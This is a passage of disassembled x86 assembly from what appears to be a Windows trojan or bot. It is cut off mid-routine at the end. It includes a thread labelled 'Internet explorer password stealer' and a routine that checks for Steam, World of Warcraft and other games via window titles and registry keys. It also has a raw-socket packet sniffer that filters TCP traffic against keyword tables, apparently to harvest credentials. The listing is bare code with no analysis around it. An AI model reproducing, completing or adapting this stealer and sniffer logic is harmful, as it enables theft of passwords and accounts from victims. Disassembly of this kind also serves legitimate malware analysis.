loc_4158A4:				; CODE XREF: sub_414EF4+998j
		push	8
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	ds:dword_417100	; lstrcpynA
		push	offset aHttp_0	; "http:/"
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		push	offset aHttps	; "https:/"
		lea	eax, [ebp-0EE0h]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415938
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	ds:dword_41709C	; Sleep
		movsx	eax, byte ptr [ebp-0A57h]
		test	eax, eax
		jnz	short loc_415933
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D3E4
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_415933:				; CODE XREF: sub_414EF4+A15j
		jmp	loc_4159E0
; ---------------------------------------------------------------------------


loc_415938:				; CODE XREF: sub_414EF4+9DBj
					; sub_414EF4+9F2j
		push	offset byte_41DE30
		lea	eax, [ebp-0EE0h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset dword_41D49C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415999
		push	offset dword_41D49C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp-0EE0h]
		push	eax
		call	ds:dword_4170FC	; lstrcpyA
		push	offset dword_41D49C
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		and	byte ptr [eax],	0


loc_415999:				; CODE XREF: sub_414EF4+A6Bj
		mov	eax, [ebp-214h]
		inc	eax
		mov	[ebp-214h], eax
		push	3E8h
		call	ds:dword_41709C	; Sleep
		lea	eax, [ebp-0EE0h]
		push	eax
		lea	eax, [ebp-9FCh]
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		push	dword ptr [ebp-214h]
		push	offset dword_41D388
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 18h


loc_4159E0:				; CODE XREF: sub_414EF4+962j
					; sub_414EF4+97Dj ...
		push	200h
		push	0
		lea	eax, [ebp-210h]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	200h
		push	0
		lea	eax, [ebp-9FCh]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	loc_4152C7
; ---------------------------------------------------------------------------


loc_415A11:				; CODE XREF: sub_414EF4+410j
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [ebp-0E14h], 0
		jz	short loc_415A30
		mov	eax, [ebp-0E14h]
		mov	ecx, [ebp-0E14h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A30:				; CODE XREF: sub_414EF4+B28j
		jmp	loc_4151DD
; ---------------------------------------------------------------------------


loc_415A35:				; CODE XREF: sub_414EF4+326j
		mov	byte ptr [ebp-4], 1
		cmp	dword ptr [ebp-0DF8h], 0
		jz	short loc_415A54
		mov	eax, [ebp-0DF8h]
		mov	ecx, [ebp-0DF8h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415A54:				; CODE XREF: sub_414EF4+B4Cj
		jmp	loc_4150CB
; ---------------------------------------------------------------------------


loc_415A59:				; CODE XREF: sub_414EF4+20Ej
					; sub_414EF4+220j
		mov	al, [ebp-0A14h]
		mov	[ebp-0A54h], al
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	dword ptr [ebp-214h]
		mov	eax, [ebp-0BF0h]
		push	dword ptr [eax]
		push	offset unk_41D34C
		lea	eax, [ebp-0BECh]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		push	dword ptr [ebp-0BF0h]
		call	sub_409763
		pop	ecx
		and	dword ptr [ebp-0FD8h], 0
		and	byte ptr [ebp-4], 0
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_415ABB
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-10h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ABB:				; CODE XREF: sub_414EF4+BB9j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-0A00h], 0
		jz	short loc_415ADA
		mov	eax, [ebp-0A00h]
		mov	ecx, [ebp-0A00h]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]


loc_415ADA:				; CODE XREF: sub_414EF4+BD2j
		mov	eax, [ebp-0FD8h]


loc_415AE0:				; CODE XREF: sub_414EF4+B9j
					; sub_414EF4+19Cj
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		leave
		retn	4
sub_414EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415AF0	proc near		; CODE XREF: sub_40A9CF+7Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_41DE80, 0
		jnz	short loc_415AFF
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415AFF:				; CODE XREF: sub_415AF0+Bj
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415B15
		jmp	short locret_415B3D
; ---------------------------------------------------------------------------


loc_415B15:				; CODE XREF: sub_415AF0+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	[ebp+var_4]
		push	offset sub_414EF4
		call	sub_4095A4
		add	esp, 10h

locret_415B3D:				; CODE XREF: sub_415AF0+Dj
					; sub_415AF0+23j
		leave
		retn
sub_415AF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B3F	proc near		; CODE XREF: .text:00416FB6p
					; sub_416FBC+3p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0
		jz	short locret_415B5E
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	ecx, [ecx]
		push	eax
		call	dword ptr [ecx+8]

locret_415B5E:				; CODE XREF: sub_415B3F+Dj
		leave
		retn
sub_415B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B60	proc near		; DATA XREF: sub_415DFD+35o

var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_5CC		= dword	ptr -5CCh
var_5C8		= dword	ptr -5C8h
var_5C4		= dword	ptr -5C4h
var_5C0		= dword	ptr -5C0h
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_41C		= byte ptr -41Ch
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5B8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_5C4], 0
		and	[ebp+var_410], 0
		and	[ebp+var_40C], 0
		and	[ebp+var_408], 0
		and	[ebp+var_404], 0
		and	[ebp+var_5BC], 0
		jmp	short loc_415BC2
; ---------------------------------------------------------------------------


loc_415BB5:				; CODE XREF: sub_415B60:loc_415C50j
		mov	eax, [ebp+var_5BC]
		inc	eax
		mov	[ebp+var_5BC], eax


loc_415BC2:				; CODE XREF: sub_415B60+53j
		cmp	[ebp+var_5BC], 0FFFFh
		jnb	loc_415C55
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+var_5BC]
		call	ds:dword_4171E4	; GetWindowTextA
		push	7
		push	offset aUnreal3	; "Unreal3"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415C0E
		mov	[ebp+var_410], 1


loc_415C0E:				; CODE XREF: sub_415B60+A2j
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C2F
		mov	[ebp+var_408], 1


loc_415C2F:				; CODE XREF: sub_415B60+C3j
		push	offset aConquer	; "[Conquer]"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_415C50
		mov	[ebp+var_404], 1


loc_415C50:				; CODE XREF: sub_415B60+E4j
		jmp	loc_415BB5
; ---------------------------------------------------------------------------


loc_415C55:				; CODE XREF: sub_415B60+6Cj
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		call	ds:dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415C88
		mov	[ebp+var_5C4], 1


loc_415C88:				; CODE XREF: sub_415B60+11Cj
		push	[ebp+var_5C0]
		call	ds:dword_417028	; RegCloseKey
		and	[ebp+var_5C0], 0
		lea	eax, [ebp+var_5C0]
		push	eax
		push	20019h
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	ds:dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_415CC7
		mov	[ebp+var_40C], 1


loc_415CC7:				; CODE XREF: sub_415B60+15Bj
		push	[ebp+var_5C0]
		call	ds:dword_417028	; RegCloseKey
		movsx	eax, [ebp+var_41C]
		test	eax, eax
		jz	short loc_415D1E
		cmp	[ebp+var_410], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_5C4], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_40C], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_408], 0
		jnz	short loc_415D1E
		cmp	[ebp+var_404], 0
		jnz	short loc_415D1E
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_415DF9
; ---------------------------------------------------------------------------


loc_415D1E:				; CODE XREF: sub_415B60+17Cj
					; sub_415B60+185j ...
		cmp	[ebp+var_404], 0
		jz	short loc_415D33
		mov	[ebp+var_5C8], offset aYes ; "Yes"
		jmp	short loc_415D3D
; ---------------------------------------------------------------------------


loc_415D33:				; CODE XREF: sub_415B60+1C5j
		mov	[ebp+var_5C8], offset aNo ; "No"


loc_415D3D:				; CODE XREF: sub_415B60+1D1j
		cmp	[ebp+var_408], 0
		jz	short loc_415D52
		mov	[ebp+var_5CC], offset aYes ; "Yes"
		jmp	short loc_415D5C
; ---------------------------------------------------------------------------


loc_415D52:				; CODE XREF: sub_415B60+1E4j
		mov	[ebp+var_5CC], offset aNo ; "No"


loc_415D5C:				; CODE XREF: sub_415B60+1F0j
		cmp	[ebp+var_40C], 0
		jz	short loc_415D71
		mov	[ebp+var_5D0], offset aYes ; "Yes"
		jmp	short loc_415D7B
; ---------------------------------------------------------------------------


loc_415D71:				; CODE XREF: sub_415B60+203j
		mov	[ebp+var_5D0], offset aNo ; "No"


loc_415D7B:				; CODE XREF: sub_415B60+20Fj
		cmp	[ebp+var_5C4], 0
		jz	short loc_415D90
		mov	[ebp+var_5D4], offset aYes ; "Yes"
		jmp	short loc_415D9A
; ---------------------------------------------------------------------------


loc_415D90:				; CODE XREF: sub_415B60+222j
		mov	[ebp+var_5D4], offset aNo ; "No"


loc_415D9A:				; CODE XREF: sub_415B60+22Ej
		cmp	[ebp+var_410], 0
		jz	short loc_415DAF
		mov	[ebp+var_5D8], offset aYes ; "Yes"
		jmp	short loc_415DB9
; ---------------------------------------------------------------------------


loc_415DAF:				; CODE XREF: sub_415B60+241j
		mov	[ebp+var_5D8], offset aNo ; "No"


loc_415DB9:				; CODE XREF: sub_415B60+24Dj
		push	[ebp+var_5C8]
		push	[ebp+var_5CC]
		push	[ebp+var_5D0]
		push	[ebp+var_5D4]
		push	[ebp+var_5D8]
		push	offset dword_41D5CC
		lea	eax, [ebp+var_5B4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		push	[ebp+var_5B8]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_415DF9:				; CODE XREF: sub_415B60+1B9j
		leave
		retn	4
sub_415B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DFD	proc near		; CODE XREF: sub_40A9CF+12FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_415E17
		jmp	short locret_415E3F
; ---------------------------------------------------------------------------


loc_415E17:				; CODE XREF: sub_415DFD+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	[ebp+var_4]
		push	offset sub_415B60
		call	sub_4095A4
		add	esp, 10h

locret_415E3F:				; CODE XREF: sub_415DFD+18j
		leave
		retn
sub_415DFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E41	proc near		; CODE XREF: sub_415EB7+37p
					; sub_415EB7+59p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_415E52
; ---------------------------------------------------------------------------


loc_415E4B:				; CODE XREF: sub_415E41+69j
					; sub_415E41:loc_415EB1j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_415E52:				; CODE XREF: sub_415E41+8j
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_415EB3
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EB1
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax*4+4], 0
		jz	short loc_415EAC
		mov	eax, [ebp+var_4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EAC
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EAC:				; CODE XREF: sub_415E41+49j
					; sub_415E41+67j
		push	1
		pop	eax
		jmp	short locret_415EB5
; ---------------------------------------------------------------------------


loc_415EB1:				; CODE XREF: sub_415E41+3Aj
		jmp	short loc_415E4B
; ---------------------------------------------------------------------------


loc_415EB3:				; CODE XREF: sub_415E41+1Dj
		xor	eax, eax

locret_415EB5:				; CODE XREF: sub_415E41+6Ej
		leave
		retn
sub_415E41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EB7	proc near		; CODE XREF: sub_415F69+420p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		jz	short loc_415EDD
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407ACA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EDD
		push	1
		pop	eax
		jmp	loc_415F67
; ---------------------------------------------------------------------------


loc_415EDD:				; CODE XREF: sub_415EB7+7j
					; sub_415EB7+1Cj
		cmp	[ebp+arg_8], 1
		jb	short loc_415EFF
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D6FC
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415EFF
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415EFF:				; CODE XREF: sub_415EB7+2Aj
					; sub_415EB7+41j
		cmp	[ebp+arg_8], 2
		jb	short loc_415F21
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D758
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F21
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: sub_415EB7+4Cj
					; sub_415EB7+63j
		cmp	[ebp+arg_8], 3
		jb	short loc_415F43
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D7CC
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F43
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F43:				; CODE XREF: sub_415EB7+6Ej
					; sub_415EB7+85j
		cmp	[ebp+arg_8], 4
		jb	short loc_415F65
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset off_41D810
		call	sub_415E41
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_415F65
		push	1
		pop	eax
		jmp	short loc_415F67
; ---------------------------------------------------------------------------


loc_415F65:				; CODE XREF: sub_415EB7+90j
					; sub_415EB7+A7j
		xor	eax, eax


loc_415F67:				; CODE XREF: sub_415EB7+21j
					; sub_415EB7+46j ...
		pop	ebp
		retn
sub_415EB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F69	proc near		; DATA XREF: sub_41665C+A6o

var_19B8	= dword	ptr -19B8h
var_19B4	= byte ptr -19B4h
var_18B4	= dword	ptr -18B4h
var_18B0	= byte ptr -18B0h
var_17B0	= dword	ptr -17B0h
var_17AC	= dword	ptr -17ACh
var_17A8	= byte ptr -17A8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= byte ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= dword	ptr -1614h
var_1610	= dword	ptr -1610h
var_160C	= byte ptr -160Ch
var_140C	= byte ptr -140Ch
var_127E	= byte ptr -127Eh
var_1278	= byte ptr -1278h
var_1274	= byte ptr -1274h
var_1268	= word ptr -1268h
var_1264	= byte ptr -1264h
var_1263	= byte ptr -1263h
var_125C	= dword	ptr -125Ch
var_1258	= word ptr -1258h
var_1254	= byte ptr -1254h
var_1154	= dword	ptr -1154h
var_1150	= dword	ptr -1150h
var_114C	= byte ptr -114Ch
var_114B	= byte ptr -114Bh
var_104C	= dword	ptr -104Ch
var_1048	= word ptr -1048h
var_1044	= dword	ptr -1044h
var_1038	= byte ptr -1038h
var_1037	= byte ptr -1037h
var_1030	= byte ptr -1030h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 19B8h
		call	sub_416BC0
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1614]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movsx	eax, [ebp+var_160C]
		neg	eax
		sbb	eax, eax
		lea	ecx, [ebp+var_160C]
		and	eax, ecx
		mov	[ebp+var_1624],	eax
		push	0
		push	3
		push	2
		call	ds:dword_417218	; socket
		mov	[ebp+var_104C],	eax
		cmp	[ebp+var_104C],	0FFFFFFFFh
		jnz	short loc_415FDE
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_415FDE:				; CODE XREF: sub_415F69+60j
		push	0FFh
		lea	eax, [ebp+var_1254]
		push	eax
		call	ds:dword_417260	; gethostname
		lea	eax, [ebp+var_1254]
		push	eax
		call	ds:dword_41723C	; gethostbyname
		mov	[ebp+var_1154],	eax
		cmp	[ebp+var_1154],	0
		jnz	short loc_41602B
		push	[ebp+var_104C]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_41602B:				; CODE XREF: sub_415F69+A1j
		push	10h
		push	0
		lea	eax, [ebp+var_1048]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_1048],	2
		mov	eax, [ebp+var_1154]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1044],	eax
		push	10h
		lea	eax, [ebp+var_1048]
		push	eax
		push	[ebp+var_104C]
		call	ds:dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416093
		push	[ebp+var_104C]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_416093:				; CODE XREF: sub_415F69+109j
		mov	[ebp+var_1150],	1
		push	0
		push	0
		lea	eax, [ebp+var_1620]
		push	eax
		push	0
		push	0
		push	4
		lea	eax, [ebp+var_1150]
		push	eax
		push	98000001h
		push	[ebp+var_104C]
		call	ds:dword_41725C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4160EA
		push	[ebp+var_104C]
		call	ds:dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_416657
; ---------------------------------------------------------------------------


loc_4160EA:				; CODE XREF: sub_415F69+160j
		lea	eax, [ebp+var_1030]
		mov	[ebp+var_161C],	eax
		and	[ebp+var_1628],	0
		and	[ebp+var_4], 0
		push	[ebp+var_1610]
		mov	eax, [ebp+var_1614]
		push	dword ptr [eax]
		push	offset unk_41D9DC
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1274],	0
		and	[ebp+var_114C],	0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_114B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_1264],	0
		xor	eax, eax
		lea	edi, [ebp+var_1263]
		stosd
		stosb
		lea	eax, [ebp+var_114C]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4044F7
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4045B2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_114C]
		push	eax
		call	ds:dword_417244	; inet_addr
		mov	[ebp+var_1618],	eax
		lea	eax, [ebp+var_1264]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1268],	ax
		and	[ebp+var_1038],	0
		xor	eax, eax
		lea	edi, [ebp+var_1037]
		stosd
		stosb
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_404552
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_1044]
		mov	[ebp+var_125C],	eax
		lea	eax, [ebp+var_1038]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_1258],	ax


loc_4161E6:				; CODE XREF: sub_415F69+305j
					; sub_415F69+33Aj ...
		push	0
		push	1028h
		lea	eax, [ebp+var_1030]
		push	eax
		push	[ebp+var_104C]
		call	ds:dword_417248	; recv
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_416217
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_416217:				; CODE XREF: sub_415F69+2A7j
		cmp	[ebp+var_17AC],	0FFFFFFFFh
		jz	short loc_416229
		cmp	[ebp+var_17AC],	0
		jnz	short loc_41622E


loc_416229:				; CODE XREF: sub_415F69+2B5j
		jmp	loc_416637
; ---------------------------------------------------------------------------


loc_41622E:				; CODE XREF: sub_415F69+2BEj
		mov	eax, [ebp+var_17AC]
		and	[ebp+eax+var_1030], 0
		mov	eax, [ebp+var_161C]
		mov	al, [eax]
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_161C]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_1628],	eax
		mov	eax, [ebp+var_1628]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_416273
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416273:				; CODE XREF: sub_415F69+303j
		mov	eax, [ebp+var_1628]
		mov	al, [eax+0Ch]
		shr	al, 4
		and	al, 0Fh
		movzx	eax, al
		mov	ecx, [ebp+var_1628]
		lea	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_1030]
		sub	eax, ecx
		cmp	eax, [ebp+var_17AC]
		jb	short loc_4162A8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162A8:				; CODE XREF: sub_415F69+338j
		push	[ebp+var_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_17AC],	eax
		mov	eax, [ebp+var_161C]
		movzx	eax, byte ptr [eax+9]
		cmp	eax, 6
		jnz	loc_416632
		movsx	eax, [ebp+var_127E]
		test	eax, eax
		jz	short loc_4162EB
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_125C]
		jz	short loc_4162EB
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_4162EB:				; CODE XREF: sub_415F69+36Aj
					; sub_415F69+37Bj
		movsx	eax, [ebp+var_1278]
		test	eax, eax
		jz	short loc_41630C
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jz	short loc_41630C
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: sub_415F69+38Bj
					; sub_415F69+39Cj
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		movzx	ecx, [ebp+var_1258]
		cmp	eax, ecx
		jnz	short loc_416340
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_125C]
		jnz	short loc_416340
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416340:				; CODE XREF: sub_415F69+3BFj
					; sub_415F69+3D0j
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		movzx	ecx, [ebp+var_1268]
		cmp	eax, ecx
		jnz	short loc_416374
		mov	eax, [ebp+var_161C]
		mov	eax, [eax+0Ch]
		cmp	eax, [ebp+var_1618]
		jnz	short loc_416374
		jmp	loc_4161E6
; ---------------------------------------------------------------------------


loc_416374:				; CODE XREF: sub_415F69+3F3j
					; sub_415F69+404j
		push	[ebp+var_1624]
		push	[ebp+var_1610]
		push	[ebp+var_17AC]
		push	[ebp+var_4]
		call	sub_415EB7
		add	esp, 10h
		test	eax, eax
		jz	loc_416632
		and	[ebp+var_19B8],	0
		jmp	short loc_4163AF
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: sub_415F69:loc_416413j
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax


loc_4163AF:				; CODE XREF: sub_415F69+437j
		mov	eax, [ebp+var_19B8]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416415
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_4163DA
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Dh


loc_4163DA:				; CODE XREF: sub_415F69+463j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_4163F7
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	3Eh


loc_4163F7:				; CODE XREF: sub_415F69+480j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_416413
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Eh


loc_416413:				; CODE XREF: sub_415F69+49Cj
		jmp	short loc_4163A2
; ---------------------------------------------------------------------------


loc_416415:				; CODE XREF: sub_415F69+452j
		and	[ebp+var_19B8],	0
		mov	eax, [ebp+var_19B8]
		mov	[ebp+var_17AC],	eax
		jmp	short loc_416437
; ---------------------------------------------------------------------------


loc_41642A:				; CODE XREF: sub_415F69+507j
